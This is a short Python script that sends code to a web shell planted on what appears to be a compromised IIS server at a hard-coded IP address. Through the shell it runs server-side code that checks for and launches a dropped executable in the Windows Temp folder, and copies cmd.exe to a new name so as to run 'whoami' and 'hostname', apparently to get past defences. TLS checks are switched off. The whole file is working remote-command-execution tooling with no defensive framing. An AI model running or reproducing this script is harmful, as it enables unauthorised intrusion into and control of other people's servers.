#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
def ev(code): return requests.post(EVAL, headers=H, params={"exec_code": code}, verify=False, timeout=30).text.split('!BD')[0]

print("exists_a:", ev('Response.Write(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\a.exe"));'), flush=True)
print("size_a:", ev('try{Response.Write(new System.IO.FileInfo("C:\\\\Windows\\\\Temp\\\\a.exe").Length);}catch(e){Response.Write("ERR:"+e.message);}'), flush=True)
print("run_a:", ev('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\Temp\\\\a.exe";p.StartInfo.Arguments="/c whoami";p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();Response.Write("OK<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}'), flush=True)
print("copyrun_fresh:", ev('try{System.IO.File.Copy("C:\\\\Windows\\\\System32\\\\cmd.exe","C:\\\\Windows\\\\Temp\\\\z9.exe",true);var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\Temp\\\\z9.exe";p.StartInfo.Arguments="/c whoami & hostname";p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();Response.Write("OK<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}'), flush=True)